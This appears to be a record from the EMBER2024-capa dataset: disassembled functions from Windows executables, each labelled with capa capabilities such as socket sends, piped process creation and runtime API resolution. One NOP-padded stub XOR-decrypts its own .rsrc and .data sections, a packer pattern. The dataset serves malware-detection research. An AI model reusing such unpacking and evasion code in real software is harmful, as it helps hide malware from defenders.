joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4065d0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
jmp 0x4065f7
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
jge 0x406663
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebp - 0x10]
cmp ecx, 2
jl 0x40662e
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx]
cmp eax, 0x2f72
jne 0x40662e
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + 1]
cmp edx, 0x2f6e
jne 0x40662e
jmp 0x4065ee
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
movzx ecx, byte [eax]
cmp ecx, 0x2f6e
jne 0x406641
jmp 0x4065ee
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx]
cmp eax, 0x3d
jne 0x406658
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
jmp 0x4065ee
cmp dword [ebp - 0xc], 0
jne 0x406670
xor eax, eax
jmp 0x40679b
mov edx, dword [ebp - 0xc]
imul edx, edx, 6
add edx, 7
sar edx, 3
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
cmp ecx, dword [ebp - 0xc]
jae 0x40669b
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0xc]
mov dword [edx], eax
mov eax, 0xfffffff0
jmp 0x40679b
mov dword [ebp - 0x14], 3
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 4], edx
jmp 0x4066c9
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, 1
mov dword [ebp + 8], ecx
cmp dword [ebp - 0x10], 0
jle 0x40678e
mov edx, dword [ebp + 8]
movzx eax, byte [edx]
cmp eax, 0x2f72
je 0x4066ee
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx]
cmp edx, 0x2f6e
jne 0x4066f0
jmp 0x4066b7
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
movzx edx, byte [ecx + 0x44a908]
xor eax, eax
cmp edx, 0x40
sete al
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
shl edx, 6
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
movzx eax, byte [ecx + 0x44a908]
and eax, 0x3f
or edx, eax
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 4
jne 0x406789
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0x14], 0
jle 0x406758
mov edx, dword [ebp - 8]
shr edx, 0x10
mov eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x14], 1
jle 0x406772
mov edx, dword [ebp - 8]
shr edx, 8
mov eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x14], 2
jle 0x406789
mov edx, dword [ebp - 4]
mov al, byte [ebp - 8]
mov byte [edx], al
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x4066b7
mov edx, dword [ebp - 4]
sub edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
mov dword [eax], edx
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40ad70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x34]
push ecx
push str._______________________m_szHead__n__s
call fcn.00428dcf
add esp, 8
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
mov al, byte [edx]
mov byte [ebp - 0x11], al
add dword [ebp - 0xc], 1
cmp byte [ebp - 0x11], 0
jne 0x40ad9f
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
push 0
mov edx, dword [ebp - 0x18]
add edx, 1
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x2c]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x40adec
mov ecx, dword [ebp - 8]
call fcn.0040ae00
xor al, al
jmp 0x40adf3
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret

Function at 0x40ae30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
cmp dword [eax + 0x58], 0
jne 0x40ae86
push 1
mov ecx, dword [ebp - 8]
call fcn.0040b650
push 1
mov ecx, dword [ebp - 8]
call fcn.0040b600
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
add ecx, 0x5c
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
push 0x409b50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x58], eax
jmp 0x40ae8a
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x40caa0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov byte [eax + 0x68], 0
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x14], 0
mov edx, dword [ebp - 4]
mov dword [edx + 0x10], 0
mov eax, dword [ebp - 4]
mov dword [eax], 0x67452301
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], 0xefcdab89
mov edx, dword [ebp - 4]
mov dword [edx + 8], 0x98badcfe
mov eax, dword [ebp - 4]
mov dword [eax + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret
Function at 0x40e330
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4418d8
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x44f6c0]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x44], 0
je 0x40e370
mov ecx, dword [ebp - 0x58]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x40e37c
mov al, 1
jmp 0x40e51f
mov dword [ebp - 0x10], 8
call fcn.0040bdb0
push eax
mov eax, dword [ebp - 0x58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x58]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.0040bdb0
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.0040bd90
add esp, 8
movzx eax, al
test eax, eax
je 0x40e3bf
xor al, al
jmp 0x40e51f
push 0
push 8
lea ecx, [ebp - 0x34]
call fcn.0040dff0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x44]
push edx
lea ecx, [ebp - 0x34]
call fcn.0040e070
mov ecx, eax
call fcn.0040e540
mov esi, eax
lea ecx, [ebp - 0x34]
call fcn.00410b00
add esi, eax
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040e070
mov ecx, eax
call fcn.0040e540
push eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x4c
push ecx
mov edx, dword [ebp - 0x58]
mov ecx, dword [edx + 0x44]
call fcn.0040e700
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x40e43a
cmp dword [ebp - 0x5c], 1
je 0x40e441
cmp dword [ebp - 0x5c], 3
je 0x40e4db
jmp 0x40e4f3
mov eax, dword [ebp - 0x58]
mov byte [eax + 0x49], 0
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x34]
call fcn.0040e070
mov ecx, eax
call fcn.0040e540
mov edx, dword [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x40e4a4
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040e070
mov ecx, eax
call fcn.0040e540
push eax
call fcn.0042942b
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x40e4a4
mov byte [ebp - 0x51], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.004022f0
mov al, byte [ebp - 0x51]
jmp 0x40e51f
mov ecx, dword [ebp - 0x58]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x40e4c7
mov byte [ebp - 0x52], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.004022f0
mov al, byte [ebp - 0x52]
jmp 0x40e51f
cmp dword [ebp - 0x38], 0
jne 0x40e4d9
push 0
push 8
lea ecx, [ebp - 0x34]
call fcn.0040ddf0
jmp 0x40e50b
mov byte [ebp - 0x53], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.004022f0
mov al, byte [ebp - 0x53]
jmp 0x40e51f
mov byte [ebp - 0x54], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.004022f0
mov al, byte [ebp - 0x54]
jmp 0x40e51f
jmp 0x40e3d2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.004286dd
mov esp, ebp
pop ebp
ret
Function at 0x40f390
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x14], 0
je 0x40f413
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x14], 0
je 0x40f413
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0x44654e
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx]
mov byte [ebp - 0x19], dl
mov eax, dword [ebp - 0x14]
cmp dl, byte [eax]
jne 0x40f3ff
cmp byte [ebp - 0x19], 0
je 0x40f3f6
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x1a], dl
mov eax, dword [ebp - 0x14]
cmp dl, byte [eax + 1]
jne 0x40f3ff
add dword [ebp - 0x18], 2
add dword [ebp - 0x14], 2
cmp byte [ebp - 0x1a], 0
jne 0x40f3c2
mov dword [ebp - 0x20], 0
jmp 0x40f407
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 0
jne 0x40f41c
mov dword [ebp - 4], 0
jmp 0x40f436
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40f436
xor eax, eax
jmp 0x40f4a7
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x1c], 0x44654f
jne 0x40f446
xor eax, eax
jmp 0x40f4a7
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x10]
push eax
push 0x40f270
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
test eax, eax
setne dl
mov byte [ebp - 5], dl
movzx eax, byte [ebp - 5]
test eax, eax
jne 0x40f48d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3b02
je 0x40f489
cmp dword [ebp - 0xc], 0
jne 0x40f48d
mov byte [ebp - 5], 1
cmp dword [ebp - 4], 0
jne 0x40f499
cmp dword [ebp - 4], 0
je 0x40f4a3
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x410650
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x1c], 0
je 0x41066d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x1c]
jmp 0x410746
push 0x400
call fcn.00427a82
add esp, 4
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
push 0x400
push 0
mov eax, dword [ebp - 4]
push eax
call fcn.004306a0
add esp, 0xc
push 0
push 0x1a
mov ecx, dword [ebp - 4]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov dl, byte [ecx]
mov byte [ebp - 0x21], dl
add dword [ebp - 0x1c], 1
cmp byte [ebp - 0x21], 0
jne 0x4106b5
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00427a82
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 0x1c], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax]
mov byte [ebp - 0x35], cl
mov edx, dword [ebp - 0x30]
mov al, byte [ebp - 0x35]
mov byte [edx], al
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
cmp byte [ebp - 0x35], 0
jne 0x410706
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00428d4f
add esp, 4
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x411400
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x108c
call fcn.0043b380
mov eax, dword [0x44f6c0]
xor eax, ebp
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x41144b
xor eax, eax
jmp 0x41156e
mov dword [ebp - 0x70], 0x44
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x34], edx
xor eax, eax
mov word [ebp - 0x40], ax
mov dword [ebp - 0x44], 0x101
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x70]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4114a0
xor eax, eax
jmp 0x41156e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x1078], 0
push 0xfff
push 0
lea edx, [ebp - 0x1077]
push edx
call fcn.004306a0
add esp, 0xc
mov eax, 1
test eax, eax
je 0x411569
lea ecx, [ebp - 0x1078]
mov dword [ebp - 0x1080], ecx
mov edx, dword [ebp - 0x1080]
add edx, 1
mov dword [ebp - 0x1084], edx
mov eax, dword [ebp - 0x1080]
mov cl, byte [eax]
mov byte [ebp - 0x1085], cl
add dword [ebp - 0x1080], 1
cmp byte [ebp - 0x1085], 0
jne 0x4114ef
mov edx, dword [ebp - 0x1080]
sub edx, dword [ebp - 0x1084]
mov dword [ebp - 0x108c], edx
mov eax, dword [ebp - 0x108c]
push eax
push 0
lea ecx, [ebp - 0x1078]
push ecx
call fcn.004306a0
add esp, 0xc
push 0
lea edx, [ebp - 0x107c]
push edx
push 0xfff
lea eax, [ebp - 0x1078]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41155c
jmp 0x411569
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4114c7
mov eax, 1
mov ecx, dword [ebp - 0x74]
xor ecx, ebp
call fcn.004286dd
mov esp, ebp
pop ebp
ret
Function at 0x4286dd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44f6c0]
jne 0x4286e7
repz ret
jmp fcn.0042f2fa

Function at 0x433ab1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x433ad8
call fcn.00429264
mov dword [eax], esi
call fcn.00429251
push 0x16
pop esi
mov dword [eax], esi
call fcn.00430549
mov eax, esi
jmp 0x433b2d
test dword [ebp + 0xc], 0xfffffff9
jne 0x433abe
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x433b05
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00429277
pop ecx
call fcn.00429251
mov eax, dword [eax]
jmp 0x433b2d
test al, 0x10
jne 0x433b2b
test al, 1
je 0x433b2b
test byte [ebp + 0xc], 2
je 0x433b2b
call fcn.00429264
mov dword [eax], 5
call fcn.00429251
mov dword [eax], 0xd
jmp 0x433afc
xor eax, eax
pop esi
pop ebp
ret
Function at 0x43601d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44f6c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0042ebd1
and dword [ebp - 0x14], 0
cmp dword [0x4519e4], 0
mov dword [ebp - 0x18], eax
jne 0x4360d0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x436178
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x436178
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4519e4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4519e8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4519ec], eax
call edi
push eax
call esi
mov dword [0x4519f4], eax
test eax, eax
je 0x4360d0
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4519f0], eax
mov eax, dword [0x4519f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x436129
cmp dword [0x4519f4], ecx
je 0x436129
push eax
call esi
push dword [0x4519f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x436129
test ebx, ebx
je 0x436129
call edi
test eax, eax
je 0x436120
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x436120
test byte [ebp - 8], 1
jne 0x436129
or dword [ebp + 0x10], 0x200000
jmp 0x43615c
mov eax, dword [0x4519e8]
cmp eax, dword [ebp - 0x18]
je 0x43615c
push eax
call esi
test eax, eax
je 0x43615c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43615c
mov eax, dword [0x4519ec]
cmp eax, dword [ebp - 0x18]
je 0x43615c
push eax
call esi
test eax, eax
je 0x43615c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4519e4]
call esi
test eax, eax
je 0x436178
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x43617a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004286dd
leave
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x74424c
je 0x401005
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc ebx, dword [edi - 0x54]
xchg ebx, eax
neg dl
push cs
dec ecx
mov eax, 0x7fb97088
add ah, ah
aam 0xe7
mov dword [0x98c0ec09], eax
mov eax, dword [0xf6a8b15c]
jecxz 0x401003
xor dword [ecx], ecx
iretd
ljmp 0x2bdb:0xc41a7522
jne 0x40109c
invalid
mov ch, byte [edx + 0x477bf67f]
jle 0x4010d4
salc
rcr cl, 1
cwde
add al, 0x60
sub byte [ecx + 0x485b75a6], bh
adc byte [eax], cl
xor eax, 0x4156615a
clc
or edi, dword [esi + 0x54]
xchg byte [ebx + 0x456a3141], bl
adc dword [edx + 0x30], ecx
jno 0x401110
sbb ebx, edi
cmp al, 0x6e
jae 0x40107e
out dx, al
aad 0x69
sub dword [edi + 0x33], ebx
retf
push ebp
mov cs, edx
mov bl, byte [edx + 0x3812e7a7]
adc eax, 0x31bdc80d
movsd dword es:[edi], dword [esi]
fild qword [eax]
add ch, al
cmpsd dword [esi], dword es:[edi]
dec eax
ret
Function at 0x40123f
Capabilities:
Create pipe
Get thread local storage value
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0040b6c0
mov eax, dword [0x245925c]
mov ecx, dword [0x2458ce8]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x401333
mov edi, ecx
mov ebx, eax
cmp dword [0x245925c], 0x959
jne 0x401323
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push str.nitocobadewepoyalovacapedekakor
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.yabufipafu
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x40126b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403a29
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440058]
jne 0x403a33
repz ret
jmp fcn.004085ca

Function at 0x40ae2b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406170
and dword [ebp - 0x14], 0
cmp dword [0x446b40], 0
mov dword [ebp - 0x18], eax
jne 0x40aede
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40af86
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40af86
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x446b40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x446b44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x446b48], eax
call edi
push eax
call esi
mov dword [0x446b50], eax
test eax, eax
je 0x40aede
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x446b4c], eax
mov eax, dword [0x446b4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40af37
cmp dword [0x446b50], ecx
je 0x40af37
push eax
call esi
push dword [0x446b50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40af37
test ebx, ebx
je 0x40af37
call edi
test eax, eax
je 0x40af2e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40af2e
test byte [ebp - 8], 1
jne 0x40af37
or dword [ebp + 0x10], 0x200000
jmp 0x40af6a
mov eax, dword [0x446b44]
cmp eax, dword [ebp - 0x18]
je 0x40af6a
push eax
call esi
test eax, eax
je 0x40af6a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40af6a
mov eax, dword [0x446b48]
cmp eax, dword [ebp - 0x18]
je 0x40af6a
push eax
call esi
test eax, eax
je 0x40af6a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x446b40]
call esi
test eax, eax
je 0x40af86
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40af88
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403a29
leave
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x65f0572e
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0xb567d6e
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
